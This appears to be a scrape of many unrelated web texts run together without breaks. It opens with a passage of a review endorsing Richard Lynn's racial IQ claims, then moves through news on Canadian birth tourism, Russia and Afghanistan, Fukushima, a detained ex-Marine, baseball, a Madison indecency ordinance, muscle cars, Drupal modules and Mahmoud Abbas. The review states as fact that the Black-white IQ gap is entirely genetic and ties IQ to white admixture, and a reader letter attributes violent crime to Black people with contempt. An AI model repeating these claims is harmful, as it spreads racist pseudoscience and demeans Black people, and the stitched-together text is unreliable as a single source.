in the scientific consensus on African-American IQ certainly came with Arthur Jensen's Bias in Mental Testing (1981) which exhaustively laid out the tools and methods for accurately discerning bias in IQ test results. In principle these same methods can be used to answer if 70 is or is not a spurious estimate for Africa.Lynn unfortunately is less than thorough and rather unconscientious on this topic, and since the estimate was his to begin with he should be the most careful and aggressive one defending it. Lynn skips the issue of internal test validity entirely, even though there are some key references from Africa that stand repeating, and speak directly to commonly raised issues such as, e.g. language bias. Key references for external validity are also omitted, though Lynn's chapter 13 shows that IQ certainly doesn't underpredict African academic performance where countries are included for International comparisons. So for instance, while African countries like Nigeria and South Africa may score 2 SD below European nations on IQ tests, Lynn shows that international indices of math and science performance between the 1960s and 1990s reveal an even more dramatic gap of about 2 and a half SD. (It was noted in the Wall Street Journal, for example, that in South Africa:). Since East Asian nations score even higher than Europe, the gap approaches three standard deviations between Africa and Asia, consistent with earlier reports showing that there was almost no overlap between the highest and lowest scoring countries, e.g. TIMSS 2003 (PDF):Lynn also reviews data of so-called Elementary Cognitive Tasks from Africa, such as reaction time tests (how quick you process and react to a lit button on a console), and EEGs, which monitor how quickly the brain responds to a stimulus, confirming the general picture of African IQ. Jensen's upcoming book should have interesting things to say on this topic; a combined battery of ECTs correlate with IQ tests just as well as standard IQ tests correlate with each other (Detterman 1999), indicating that the pen and paper IQ test, as well as most attendant concerns about culturally biased tests, might very well become soon obsolete.The issue of brain size is similar to that of test bias; I would think Lynn would want to up the arms race against his critics since this issue received so much attention in reviews of IQ&tWoN, despite being such a small and irrelevant part of that book. And yet brain size is prominently used to defend controversial hereditarian arguments in many chapters of this book, so it was unwise that key references are similarly omitted like with test bias. So, for instance, there is no discussion of the importance of, or tests for, a functional relationship between IQ and brain size, even though this is critical to the argument. And such research exists and would have made his argument much stronger and more immune to glib dismissal. Lynn does attempt to resolve one "contradiction" - that women have smaller brains but do just as well as men on IQ tests - by presenting data for his own theory that women actually average 5 IQ points below men. But since the difference between races is larger than the sex difference in IQ, and the brain size differences smaller, I don't see what has been resolved, even if we accept the still controversial sex difference in IQ.Particularly interesting (not only for Africans, but for other racial groups reviewed as well) isn't just that racial groups score similarly on intelligence tests across an improbable number of different countries, but also have the same profiles (or "multiple intelligences" if you will) on these tests across nations as well. In the US, for instance, if we take poor and rich whites and look at their relative strengths and weaknesses on various test sections we will find the same pattern of strengths and weaknesses. Same for poor and rich US blacks, who have distinct strengths and weaknesses. African blacks show the same test profile as US and Jamaican blacks, for example with strengths on perceptual and short term memory tasks and weakness on tests of abstract reasoning (this is fortotal IQ, remember). The visuospatial profile that also distinguishes women and men and European and Asian/Amerindian populations has also long been noted by research of blacks in Africa and the United States, but this difference is not analyzed by Lynn.For the first time I've seen, Lynn also reviews tests of "MQ" or musical intelligence for black and white Americans. While blacks score lower on almost all the items, commensurate with the fact that IQ correlates with musical ability, they also do much, on average, than whites on rhythm items - Lynn calculates a rhythm IQ for Af-Ams of 106, though no cross-cultural results are presented, this has been recognized in a number of societies through time. Since Sub-Saharan Africans have been musical innovators across a number of different countries, this topic should have more attention.Based on the IQs of transracially adopted black children, Lynn decides that the 1 SD IQ difference of American blacks (same as in Britain and the Netherlands) is 100% genetic, given the lack of any convincing environmental theory or data for the gap. Based on this he decides that poor nutrition primarily is depressing the African (and mostly identical black Latin-American/Caribbean) IQ about 13 points. Indeed, incredulity that African IQ could be any lower than African-American IQ is belied by known drastic comparative disadvantages of Africans on variables known to affect IQ. These include things such as higher lead exposure (which can lead to IQ reductions of 4-7 points) and micronutrient deprivation, such as iodine deficiency (reductions of 10 points). Indeed, critics are incredulous over the wrong gap! - after all, it is the 15 points between American blacks and whites that is hard to account for, not the 15 points between American blacks and Africans. 5 additional IQ points between African-Americans and African-Africans, Lynn attributes to the white admixture of American blacks. Lynn puts the level of white admixture in African-Americans at 25% based on references from 1971 and 1992, and northern black admixture at 50% (based on pure conjecture) and concludes from IQ studies that African-Americans gain 1 IQ point for every 5% of white admixture. Lynn's estimate is compromised because his admixture references are outdated and his estimate of northern admixture is contradicted by the data. Parra et al. (1998) put the latest estimate of average admixture at 17%, not 25%, and. It's difficult to guess why he is using the obsolete reference, when he himself has previously cited the Parra paper and the 17% estimate (Lynn 2002).On a final note, I will say that Lynn is especially talented at bringing new references to the table, so that while his 1991 report featured only three references of black IQ in Britain, this book delivers 20 - all in support of a black IQ in Britain typically much lower than all other ethnic groups, and much like that of blacks in the US. This is no small ability since critics are terrible at knowing or caring about the literature. But more important is this - Lynn should expand his research ability to cover a broader range of data points. An over-reliance on IQ tends to minimize justthese international racial patterns are because it limits the argument to just one kind of data. A book like Lynn's, in my opinion, would be much more effective if it started with the race and worked up to the IQ data, where available, instead of vice versa. So for instance, a more thorough picture would be available of racial patterns if, instead of cataloguing nations where we have black IQ, we first catalogue, and chart what we know about their comparative situation in each country up from that fact, given whatever data is available, be it IQ or educational or economic data - or even anecdotal (journalism/anthropology) reports or local viewpoints, if that is all that's available. The point is that IQ data is limited and working up to the data from the people would make the patterns even more unavoidable. I have in mind the structure of |
Three years ago, Melody* stepped off a plane from Beijing in Vancouver and breezed through customs. “The official didn’t ask [if I was pregnant] so I didn’t tell,” she says through a translator. At 32 years-old, she was four months pregnant with her son David. Her husband waiting at home, Melody had entered B.C. on a visitors’ visa, intending to stay for months, for the sole purpose of having a baby on Canadian soil — thereby guaranteeing that baby citizenship. “Canada has a good environment, compared to the air pollution in China,” she says. “There is more choice for my child’s future learning and employment. And if my kid can get a Canadian passport there is an opportunity to come to Canada in the future.”
She headed to a birthing hotel in Richmond, where the owners — a couple in their 40s — showed her to her room, which had a single bed and crib. She had her own washroom, and says the room was “almost a luxury” — she had daily laundry service and meals brought to her door. In total, four or five families were living in the house at one time, but it wasn’t at capacity. She didn’t make friends there – most of the bedroom doors remained shut, the hallways were quiet. But the hotel provided all her meals, as well as nanny services for mothers who had brought their older children with them. “They could answer all the questions I had about giving birth, breastfeeding,” Melody says.
Birth tourism is legal, and despite common misconceptions, simply being a parent of a child born here is not enough to land a permanent resident visa for a prolonged length of time. Women here on visitor visas must go home with their children and apply to come back later, usually when their children are adults and can sponsor them. In the majority of cases, a Canadian passport is less a backdoor entrance into a Canada than an insurance policy for parents hoping to give their children better options.
But birthing hotels are unregulated and can go untracked. In some cities, the number of maternal hospital beds being taken up by non-residents is increasing, and, in some cases, they have become a flashpoint for people’s insecurity and xenophobia — especially urban areas such as Vancouver and Richmond, where a long history of racial tensions still simmers, and skyrocketing home prices (blamed in part on foreign investment) have some residents on edge. Here are the basics:
Why is birth tourism popular here?
Canada is one of the few developed countries, along with the United States, that grants birthright citizenship. When a baby is born here, he or she receives a birth certificate and can apply for a Canadian passport right away. With that comes the benefits of potentially living in Canada one day: access to our education system and public healthcare, for instance. It also can provide benefits in the parent’s home country: In China, for example, a child with a foreign passport can gain access to international schools, which are often more affordable than private schools, with a high standard of education.
If China has become the main source of birth tourism to the West Coast, it’s because of the country’s volatility, explains Will Tao, an immigration lawyer at Vancouver’s Larlee Rosenberg. “Everything is tied up with government. Many people have been able to ride the wealth of China, but they realize the foundation isn’t that strong. There is this idea that at any moment, things can turn for them, and what will happen to those things they worked towards?” Canada, then, becomes a stable “Plan B,” Tao says.
How common are they?
Maternity hotels dot Canada’s major cities and, in some areas, are growing in number: In July 2016, health ministry investigators in B.C. counted 26 in the province—a threefold increase since 2009. While no such data has been made public for Ontario, Sunnybrook hospital in Toronto also reported an increase in foreign births in 2015, receiving women from China, Nigeria, Saudi Arabia and the United Arab Emirates. In 2013, Montreal authorities said women from Haiti and French-speaking northern African countries “frequently” arrived to give birth in Canada.
Between March 2015 and March 2016, 295 of the 1,938 babies delivered at Richmond Hospital were to Chinese visitors. Public records released in July stated that the cost of non-resident births to the province of B.C. in 2014 and 2015 was $693,869. (Visitors to Canada do pay the hospital a fee for a baby to be born here. Melody, for example, paid around $10,000, which is a standard amount, for a standard birth procedure. “I think it is a really good deal,” she said). Some Richmond families have complained about being bumped to other facilities when they’ve shown up at the local hospital in labour and are told the facility is at capacity.
How are the hotels booked, and what are they like?
Finding a birthing or maternity hotel is similar to finding Airbnb accommodation. (The vast majority of birthing hotels in Vancouver are marketed to Chinese women on a Craigslist-style website called Vansky.com.) Private homeowners can provide rooms at a nightly rate, which range from swanky high-end options to basic rooms with a single bed (Melody paid just under $30 per night, a bill of $4,000 overall). Booked for months at a time, the rooms are most often home to women who travel here from abroad when they are around five months pregnant—while they’re still able to fly and, often, before they are obviously showing—to give birth in Canadian hospitals. The hotel owner provides meals, as well as a myriad of other services like translation, transportation and booking appointments with family doctors.
“I wasn’t scared at the time,” Melody says. “But now I’ve realized that it was a scary experience without your parents or family around. Because it was my first child, I didn’t have much knowledge.”
What are the tensions around them?
In some cases, maternity hotels have raised the ire of their neighbours and concern from the health services community. This happened in Richmond, B.C. — a suburb where, according to the 2011 census, 49 percent of the population are Chinese Canadians.
In 2015, long-time Richmond resident Kerry Starchuk discovered the large pink stucco house next door to hers was housing pregnant women from China. From her house, she watched food being delivered and vehicles picking up and dropping off pregnant women. In her mind, it marked one more way her community was changing. (In 2014, noting there were signs in her community written only in Chinese, she lobbied the city’s council to make it mandatory that have all signs include English or French).
She started a petition (e-397), calling on the federal government to eliminate birthright citizenship, and Conservative Richmond Centre MP Alice Wong co-signed the document, which argues that, “the practice of birth tourism can be very costly to taxpayers,” and “take[s] advantage of Canada’s public health system and social security programs.”
Between July and October of that year, Starchuk’s petition gathered 8,568 signatures from across Canada, enough for Wong to take it to the House of Commons (the benchmark for this is 500 signatures). “Richmond Hospital, in the last fiscal year, reported nearly one-in-six births were to non-residents,” Wong wrote in a statement. “This has led to capacity issues.” The petition was presented in Parliament in October for review, and tabled in December with a response from Minister of Immigration, Refugees and Citizenship John McCallum. “While there may be instances of expectant mothers who are foreign nationals who travel to Canada to give birth,” McCallum wrote, abolishing birthright citizenship “would represent a significant change to how Canadian citizenship is acquired.”
What’s the experience like for the women who come to give birth?
There’s a great amount of anxiety that comes with travelling to another country to give birth, says Daisy Zhu, a PhD candidate at the University of Toronto’s Ontario Institute for Studies in Education, who researches immigrant mothers in Canada. The vast majority do not speak the language, and are often ostracized. “Many Canadians don’t want to talk to these mothers; they just use their imaginations to think of all the Chinese people coming here to take citizenship,” she says.
Zhu has experienced the workings of a maternity hotel first hand — a facility in Scarborough, Ont., that she used when her son was born two years ago, even though she was already a permanent resident. Zhu is from Wenzhou in the province of Zhejiang, and moved to Canada as a postgraduate student in 2006. The maternity hotel gave her something that was missing from her hospital birth experience—a cultural connection. In China, new mothers adhere to a strict meal plan tradition for 30 days after giving birth. Each meal is made with precise ingredients and follows a complex system; some meals are cooked with salt, some without, for instance. Typically, the mothers of new moms prepare and serve these meals to their daughters. Zhu’s parents were not in Toronto when she gave birth. So she paid $100 per day for room and board at a birthing hotel, where daily packets of food were delivered outside her bedroom door.
“In Canada, the immigration policy is to emphasize multiculturalism,” says Zhu, “but many people don’t really [think of it as something to] practice.” She notes the similarities between Starchuk’s petition against Chinese signage in Richmond, and protests against birth tourism in Hong Kong. In 2012, hospital executives there reported a doubling of women from mainland China arriving at hospitals through emergency rooms to give birth. The benefits are similar—better medical treatment and public education.
There are also parallels between Richmond and the wealthy Los Angeles suburb of Chino Hills. In 2012, Chino Hills residents protested, and shut down, a maternity hotel for Chinese women in the hills above their homes. An activist there referred to birth tourism as, “invasion by birth canal.”
Rima Wilkes, a sociology professor at the University of British Columbia, says racism could be a factor in some of the protests against the hotels here as well. “Chinese people have been here for a long time, but we had a whole series of discriminatory laws to keep out racialized minorities,” Wilkes says. “That fostered the idea that real, ‘authentic’ Canadian is a white person and that the Chinese are new.” This, she says, lead to the idea of what makes a “good immigrant” – someone who comes here for the right reasons, under the right circumstances.
How are hospitals and doctors responding?
The increase in birth tourism has led to changes in hospital policy in Canada, and has doctors facing some delicate ethical issues.
Sunnybrook Hospital in Toronto now abstains from providing high-risk treatment and ultrasounds for foreign women with no OHIP coverage, and Tao has fielded anonymous emails from Richmond hospital staff looking for legal advice, saying they can’t keep up with the number of births.
“As a clinician, I provide obstetrical care and this is an issue I have come into,” says Dr. Murray*, a Toronto-based family doctor, who asked to remain anonymous. “Until 24 months ago, it was something I came across every once in a while, and now [Sunnybrook] has a policy on it because so many [women from abroad are] showing up.”
“I’ve had women show up on my doorstep or be referred through other patients. It’s very common for a patient to say her sister or friend is pregnant and needs care, but then she arrives and is actually from another country and has insurance or is planning to pay cash.” Dr. Murray explains, “Then I’m in a difficult ethical position. I can’t register those women at the hospital as a patient of mine because the hospital won’t accept non-OHIP [Ontario Health Insurance Plan] cases, so I have to tell them, ‘You didn’t hear this from me, but if you show up to the emergency room in labour they have an obligation to take care of you.’”
Some doctors are hesitant to deliver a baby to a foreign national because if something goes wrong he or she could be sued for malpractice in another country. The Canadian Medical Protective Association (CMPA), which provides physicians with assistance in medical legal cases, says they can’t support foreign cases against Canadian doctors. “You can’t turn someone away because of concern about payment,” explains Dr. Doug Bell, associative executive director at CMPA. “But if there is nothing urgent, you are under no obligation to provide care.”
Should the government be stepping in?
Andrew Griffith, a former director general of federal Citizenship and Immigration and writer on multiculturalism, insists that the numbers aren’t large enough to take any drastic action in Canada. He does, however, believe that federal and provincial governments should take on annual reporting of births to non-resident women. “And you should be able to crack down on the consulting companies and birthing hotels, in terms of legislative action,” he adds.
Tao agrees. From his perspective, this is an issue that the federal government needs to take on: “Our government has no oversight. The clients who come from overseas often have absolutely no idea what the law is,” he says, adding that they may have been given incorrect information by people overseas. In this sense, a government crackdown would be aimed at protecting women coming to Canada to give birth, as much as anything else.
Melody’s story didn’t end when she returned to China. When she became pregnant again in early 2016, she booked a flight back to Vancouver, this time with her husband and first child in tow. “I felt the hospital was very professional, and I wanted everything to be fair between my children,” she says.
This time, she felt more confident. She and her husband used an immigration and travel agency based in Beijing to help them rent a house. After she gave birth to her second son, Tayson, she returned to the birthing hotel for postnatal care before heading back home. The family doesn’t have any immediate plans to return to Canada. But she’s glad that, for her children, it will always be an option.
*Names have been changed
MORE ABOUT IMMIGRATION:MOSCOW (Reuters) - Russia is ready to play a more active role in helping fight the Taliban in Afghanistan if the United States is prepared to water down its plans for a missile defence shield and NATO enlargement.
Sunday marks the 20th anniversary of the Soviet military’s humiliating withdrawal from Afghanistan and Russia, which shares Western worries about the Taliban insurgency, is ready to give logistical support to U.S.-led forces there.
U.S. plans for elements of a missile defence shield in Poland and the Czech Republic, and its drive to bring ex-Soviet Ukraine and Georgia into NATO, are seen in Moscow as “red lines” that Washington should not violate.
“Russia is ready to assist the United States with priority issues for American foreign policy, and in the first place, the fight against terrorism in Afghanistan,” Dmitry Rogozin, Russia’s ambassador to NATO, told Reuters in an interview.
“But we want our relations to be considered in the general context that if we help the U.S. on one question that they help us with our important tasks.”
The administration of U.S. President Barack Obama would like Russia to help supply equipment to the extra troops it plans to send to Afghanistan, especially as militants have attacked convoys using the other supply route via Pakistan.
But Russia will drive a hard bargain, especially because it feels it was deceived in the past.
After the September 11, 2001 attacks on U.S. cities, Russia sanctioned the creation of U.S. air bases in ex-Soviet states near Afghanistan that Moscow sees as part of its sphere of interest.
In exchange, Moscow hoped for a partnership of equals with the United States but instead watched with anger as Washington backed the expansion of NATO to include its neighbours Ukraine and Georgia and prepared plans for a missile shield in Europe.
The Kremlin though feels a cautious optimism that the Obama White House could behave differently, said Fyodr Lukyanov, the editor of the Russia in Global Affairs journal.
“Russia is not naive enough to think Washington would accept a Russian claim of a sphere of interest, but at least there are signals the new administration won’t be as aggressive in the post-Soviet sphere as the previous one,” said Lukyanov.
The announcement this month by Kyrgyzstan that it will close a U.S. air base used as a staging post for Afghanistan showed there are limits to Russian cooperation, say some analysts.
Russia has denied any role in the decision but Kyrgyzstan’s president announced it in Moscow after securing a $2 billion Russian loan to help it ride out the economic slowdown.
FRAGILE STATES
The Soviet Union lost thousands of troops fighting in Afghanistan in the 1980s and the country still matters greatly to the new leaders in the Kremlin.
Officials feel that if militant Islam is not halted in Afghanistan it could spread through the fragile ex-Soviet states of Central Asia towards Russia’s borders.
Narcotics officials say Russia is the world’s biggest user of Afghan heroin and that the flow of the drug will only be stemmed if order returns to Afghanistan.
Moscow has watched with growing impatience the failure of the international force in Afghanistan to get to grips with the Taliban insurgency.
Since the U.S.-led invasion in 2001, almost 1,100 coalition troops have died in Afghanistan, with 647 U.S. casualties as of February 12.
“Seven years have passed and what has happened?... The only result is that people are dying... We are just taking losses,” said a senior Russian official with close ties to Prime Minister Vladimir Putin.
Colonel Oleg Kulakov, a lecturer at Moscow’s Defence University, said U.S.-led forces need to change their approach.
“The coalition forces cannot achieve their goals militarily and no one will be able to do that so they should attempt other strategies,” he told Reuters.
But Kulakov, who served with the Soviet military in Afghanistan, said there was no desire in Moscow to go back there. “Under no circumstances will Russia send troops to Afghanistan,” he said.TOKYO (Reuters) - Japan’s Fukushima nuclear crisis was a preventable disaster resulting from “collusion” among the government, regulators and the plant operator, an expert panel said on Thursday, wrapping up an inquiry into the worst nuclear accident in 25 years.
An aerial view of the Fukushima Daiichi Nuclear Power Station is seen in Fukushima Prefecture in this file photo taken by the Air Photo Service on March 24, 2011. Mandatory Credit REUTERS/Air Photo Service/Files
Damage from the huge March 11, 2011, earthquake, and not just the ensuing tsunami, could not be ruled out as a cause of the accident, the panel added, a finding with serious potential implications as Japan seeks to bring idled reactors on line.
The panel criticised the response of Fukushima Daiichi plant operator Tokyo Electric Power Co, regulators and then Prime Minister Naoto Kan, who quit last year after criticism of his handling of a natural disaster that became a man-made crisis.
“The... Fukushima Nuclear Power Plant accident was the result of collusion between the government, the regulators and Tepco, and the lack of governance by said parties,” the panel said in an English summary of a 641-page Japanese document.
The report - issued hours after a reactor began supplying electricity to the grid for the first time in two months - put an official imprimatur on criticism of the cosy ties that have bound a powerful nexus of interests known as the “nuclear village”.
Regulators, it said, had been reluctant to adopt global safety standards that could have helped prevent the disaster in which reactors melted down, spewing radiation and forcing about 150,000 people from their homes, many of whom will never return.
“Across the board, the Commission found ignorance and arrogance unforgivable for anyone or any organisation that deals with nuclear power. We found a disregard for global trends and a disregard for public safety,” the panel said.
The panel’s finding that seismic damage may well have played a role could affect the restart of reactors that were taken offline, mostly for maintenance and safety checks, in the months since Fukushima. Japan is one of the world’s most quake-prone countries.
“We have proved that it cannot be said that there would have been no crisis without the tsunami,” Katsuhiko Ishibashi, a seismologist and panel member, said in the report.
The panel urged strict checks on all reactors against guidelines set in 2006, and said Japan’s 21 oldest reactors, whose construction was approved before guidelines were set in 1981, may be at similar risk from a big quake as Fukushima Daiichi.
Experts have said that an active fault may lie under Kansai Electric Power Co’s Ohi plant in western Japan, whose No. 3 unit began supplying electricity to the grid early on Thursday. Ohi’s No. 4 unit will come on line later this month after the government approved the restarts to avoid a power shortage.
“This means that all of Japan’s reactors are vulnerable and require retro-fitting, calling into question the hasty decision of the (Prime Minister Yoshihiko) Noda cabinet to restart reactors before getting the lessons of Fukushima,” said Jeffrey Kingston, Asia studies director at Temple University in Tokyo.
The report by the experts - one of three panels looking into the Fukushima disaster - follows a six-month investigation involving more than 900 hours of hearings and interviews with more than 1,100 people, the first such inquiry of its kind.
MISSED OPPORTUNITIES
Many of the shocking details of the disaster, including operator Tokyo Electric Power Co’s (Tepco) failure to prepare for a big tsunami and the chaotic response by the utility and government, have already been made public.
In an effort to repair tattered public trust in the regulatory regime, the government will in a few months set up a more independent nuclear watchdog that will then draft new safety rules.
The report pointed to numerous missed opportunities to take steps to prevent the disaster, citing lobbying by the nuclear power companies as well as a “safety myth” mindset that permeated the industry and the regulatory regime as among the reasons for the failure to be prepared.
Resource-poor Japan has for decades promoted nuclear power as safe, cheap and clean. Atomic energy supplied nearly 30 percent of electricity needs before the disaster.
“As a result of inadequate oversight, the SA (Severe Accident) countermeasures implemented in Japan were practically ineffective compared to the countermeasures in place abroad, and actions were significantly delayed as a result,” it said.
Tepco came under heavy criticism in the report, partly for putting cost-cutting steps ahead of safety as nuclear power became less profitable over the years. “While giving lip service to a policy of ‘safety first’, in actuality, safety suffered at the expense of other management priorities,” the team said.
In a report on its internal investigation issued last month, Tepco denied responsibility, saying the big “unforeseen” tsunami was to blame - though it admitted that in hindsight it was insufficiently prepared.
Tepco, struggling under huge costs for compensation, cleanup and decommissioning, was effectively nationalised last month with a 1 trillion yen ($12.53 billion) injection of public funds.
The panel also said it had found no evidence to back up Kan’s allegation that Tepco had planned to abandon the tsunami-ravaged plant as the crisis risked spinning out of control.
An aerial view of the Fukushima Daiichi Nuclear Power Station is seen in Fukushima Prefecture in this file photo taken by Air Photo Service on March 20, 2011. Mandatory Credit REUTERS/Air Photo Service/Files
But fans of Kan, a former civic activist who angered the powerful nuclear industry when he became a harsh critic of atomic power after the disaster, questioned that finding.
“I think the crisis would have been far worse if Kan hadn’t intervened,” Temple University’s Kingston said.
($1 = 79.7950 yen)It is unknown if Brandon Raub was detained for anything more than questioning. YouTube/IamKristenMeghan
A former U.S. Marine who accused the government of lying about 9/11 and spoke of "The Revolution" on Facebookwas detained on Thursday night, reports Renee Nal of Gather.
According to Brandon Raub's mother, authorities from the FBI, Secret Service and Chesterfield County PD came to their door, questioned Raub about his Facebook posts - which are critical of the official story regarding 9/11 and refer to "starting a revolution" - then handcuffed him and placed him in a Chesterfield PD squad car before taking him to John Randolph Psychiatric Hospital in Hopewell, Va.
Raub's mother said he returned about a year ago after serving in Afghanistan (after serving in Iraq) and did not suffer from PTSD.
The Chesterfield PD told us that the situation "was an FBI matter and we were just there to assist them" so it could not provide us with an official reason why Raub was detained.
Raub's mother said that an FBI agent told her Raub was "arrested by the Chesterfield police department" because he "assaulted an officer and resisted arrest," then asked her if Raub "was having any issues relating to people" and told her that "the threats he was making were terrorist in nature."
When asked the Chesterfield PD said Raub has not been charged with resisting arrest and assaulting an officer.
The FBI has told us their agents had "nothing to do" with his detainment and placement in a psychiatric ward.
The Secret Service had no comment.
Here is the video of the arrest:
The most recent posts by Brandon J Raub - as opposed to Raub Brandon - include "AND THEY WILL SAY HE SAID IT TO THE NSA FIRST." on August 16 and "Feelin like Pac all Eyes on me." on August 15 and "The Revolution will come for me. Men will be at my door soon to pick me up to lead it. ;)" on August 14.
Also on August 14, he posted this video:
And this:
Facebook/Brandon J Raub
A post on August 12 said: "There has been an overwhelming amount of evil enacted and planned against you, your children, and your countrymen. It is great in scope. Your government evil. It is as simple as that. And the calvary is coming."
Raub's mother said Raub was told that he will see a judge on Monday but has not been told what he has been charged with and has not been read his rights.The Yankees apparently found their latest designated hitter Thursday, closing in on a one-year deal with the former Cleveland Indians slugger Travis Hafner. He has agreed to an incentive-laden deal with the Yankees with a base salary close to $2 million.
Hafner will replace Raul Ibanez as the left-handed D.H. Ibanez left to join the Seattle Mariners as a free agent. Hafner will have a hard time matching Ibanez’s late-season heroics for the Yankees, but he does have a memorable postseason hit that figures prominently in Yankees lore.
On Oct. 5, 2007, Hafner lined a two-out, 11th-inning single off Luis Vizcaino to win Game 2 of the American League division series between the Yankees and the Indians. That game was interrupted by a swarm of midges that changed the course of that series and indirectly contributed to the Boston Red Sox’ winning their second World Series this century.
Thanks in part to the midges, the Indians tied the score off the previously impenetrable Joba Chamberlain in the eighth inning. Hafner’s single three innings later propelled the Indians to a 2-1 victory and a 2-0 lead in a series they would win. But they lost to the Red Sox in the American League Championship Series, and Boston swept the Rockies in the World Series.× Expand Carolyn Fath Bramlett persuaded the City Attorney's Office to draft a new law.
Amy Bramlett says it's surprisingly common. Police gets calls about, or happen upon, people who are -- there's no graceful way to put this -- whacking off in public.
"A lot of our resources are going into that," says Bramlett, a Madison police officer with the department's Criminal Intelligence Section. "There are a large number of people who are committing these deviant acts."
The problem is that the state criminal charge of lewd and lascivious behavior includes an "element of exposure." And in cases where it isn't possible to prove that Mr. Happy put in an appearance, even if the person was clearly engaged in sexual gratification, the charge is generally bumped down to disorderly conduct.
Police say disorderly conduct is too broad a category to help them track who's been caught using the self-service pump in public. These are often habitual offenders, who commonly also engage in more serious behaviors like stalking or child enticement.
But without a specific charge for low-level sex crimes, says Madison Police Capt. Cam McLay, it's difficult to quantify the problem or focus on repeat offenders: "We have to burrow deep into every disorderly conduct arrest" to see what it's about.
Officer Bramlett conducted a review of cases reported by dispatch as involving lewd and lascivious behavior, whether or not they were charged as such. One illustrative case was from October 2008.
Two young women (including a 15-year-old) called police to report a man following them on South Randall Avenue, masturbating. He had his hand in his pants but the witness couldn't say whether his penis was ever exposed, although he was "definitely pleasuring himself." The man denied doing anything illegal, telling police "I didn't ejaculate and nobody saw me."
The man was arrested for lewd and lascivious behavior but convicted of disorderly conduct. Bramlett found he'd had several prior run-ins with the law, including another lewd and lascivious arrest charged as disorderly conduct.
Bramlett took her findings to the City Attorney's Office, which agreed there was a need to craft a new law.
The result: a "public indecency ordinance" Assistant City Attorney Jennifer Zilavy says "the primary issue is masturbators," for whom there is now often not an appropriate charge. But the new ordinance would give Madison police an alternative to disorderly conduct charges for a range of behaviors. Last November, a Madison Municipal judge dismissed a disorderly conduct citation against a participant in last June's World Naked Bike Ride, noting there was no city or state laws "specifically prohibiting public nudity." (The city is continuing to prosecute
Zilavy says the new ordinance "wasn't drafted in response to that" and certainly wouldn't be on the books before this year's World Naked Bike Ride, set for June 18. And McLay remarks that nudity alone, absent a context of sexual gratification, might still be more appropriately charged as disorderly conduct.
The city's forfeiture is less serious than a criminal charge but, says Bramlett, "if officers can meet the standards of lewd and lascivious, they should absolutely make that charge."
A fiscal note attached to the ordinance predicts that, if passed, "there will likely be an increase in General Fund revenues derived from fines ranging from an estimated $20,000 to $50,000."We're here to zoom in on the aural side of the muscle machine realm. To be more precise, we're bringing you an aural comparison involving the 2017 Chevrolet Camaro ZL1 and the 2016 Ford Mustang Shelby GT350.No, the two cars didn't go head to head header to header - the ZL1 hasn't even reached dealerships yet and no Chevrolet employee would allow for the factory-owned car such as the one seen here to enter a decibel brawl with the GT350.Instead, we're dealing with a melange involving two separate pieces of footage. And since the 'Stand is already out there, pleasing enthusiasts all over America, its side of the comparo also involves real-world acceleration growling.At first, you might say this is an unfair fight and that's because the GT350 badge means the Blue Oval machine is gifted with the flat-plane crank VooDoo V8.The 5.2-liter heart of the Shelby can scream up to 8,200 rpm. Factor in the naturally aspirated nature of the motor and we end up with assets that, in theory, outweigh those delivered by the blown 6.2-liter heart of the ZL1.However, things are different in the real world and that's because certain enthusiasts don't enjoy the high-revving style of the 'Stang. In fact, some muscle car fans have gone as far as labeling the voice of the GT350 as "coarse", which is why the Camaro stands a fair chance in this fight.And, until Ford completes the testing process for the S550-generation Mustang Shelby GT500 (here's a spy video ), we'll have to feast our ears on exhaust battles such as this one.From: "Yankee By Birth, Rebel By Choice" [Email him]
So Jon Stewart now affixes blame for the Charleston shooting on the fact that South Carolina still flies the Confederate flag and has streets named for Confederate generals. [Read Jon Stewart's blistering monologue about race, terrorism and gun violence after Charleston church massacre, Washington Post?, June 19, 2015] Which leads me to wonder...how many streets and towns in New York, where Long Island Railroad gunman Colin Ferguson lived, and where over 90% of the violent crime is committed by "people of color", and Connecticut, where Omar Thornton committed his act of mass murder, have monuments and streets named for Union generals and soldiers?
And what about Chicago, largest city in the "Land of Lincoln" himself? Do the South Siders there stop and pause to recall the thousands of dead whites who freed their ancestors from shackles so they could slay more blacks than any evil slaveholder ever dreamed of?
We all know the answer...Every day, millions of nodes are saved. It happens every time content is created, migrated, or updated. It’s probably the most common content management task in Drupal.
But there are lots of ways you can change the node-save experience for your users, and there are many contributed modules that offer alternative approaches to saving nodes. Here are a few that I like.
Add another
The Add Another module allows gives users the option to save a node while quickly creating a new one. You can choose to add the option to the admin form itself, or as part of the save confirmation message. It’s great for those content types, like “Image” or “Video” for example, where your users find themselves creating a series of nodes in succession.
Hide Submit
Occasionally you’ll see an issue where an end user clicks submit on a the node-edit form and, being ignorant of the fact that the request is being processed, clicks submit several more times to see if it’s broken. Sometimes this can lead to multiple form submissions, resulting in bad things like duplicate content. The Hide Submit module does one simple thing: Prevent forms from being submitted multiple times. It does this by disabling the submit button once it’s been clicked, with settings to fade out the button, append text, or hide it all together. This prevents errors, but it also signals to the user that the submission is in progress, helping to alleviate a bit of the frustration.
Publish Button
“Does the word “Save” mean that I’m saving a draft or does it mean that I’m publishing the content live?” While it may be obvious for those familiar with Drupal, the intent of the button isn’t always clear for new users. The Publish Button module aims to make it more explicit by splitting up the “Save” button into two buttons: “Save” and “Publish”. If a node is published, the publish button is replaced with an “Unpublish” button.
Node Buttons Edit
What if you have your own idea on what button text should be used? You could use “string overrides” module for a universal approach to text customization, but the Node Buttons Edit module gives you a straightforward admin page for customizing the button text specifically. No need to incur the additional overhead if you don’t have to.
More Buttons
The More Buttons module gives you the option of turning on more buttons (shocking, I know), to further customize your content saving experience. For example, you may want a “Save and Continue” button to save the status of the current input while continuing to make changes. Or maybe you’d like a cancel button, to close the form altogether. If so, this module makes these (and other options) available to you.
So next time you see users tripping over the node saving workflow, remember that you, as a sitebuilder, have a handful of options at your disposal to make things a bit more clear.Britain's Foreign Secretary Boris Johnson at a meeting with Palestinian President Mahmoud Abbas in the West Bank city of Ramallah, March 8, 2017.
Palestinian President Mahmoud Abbas called on the Arab states to endorse the Palestinian position on statehood and demanded the United Kingdom apologize for granting the Balfour declaration.
Abbas, who spoke at the Arab League summit in Jordan, said Britain should not celebrate the 100th anniversary of the Balfour Declaration, which supported the establishment of a Jewish homeland in Mandatory Palestine, but rather apologize to the Palestinians.
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In an interview published Wednesday, Abbas said the Palestinian leadership will not be presenting any new peace plan or diplomatic initiative at the summit, adding that the only initiative on the agenda is the Arab Peace Initiative – unchanged, not even tweaked.
Palestinian President Mahmoud Abbas attends the summit of the Arab League at the Dead Sea, Jordan, Wednesday, March 29, 2017. Raad Adayleh/AP
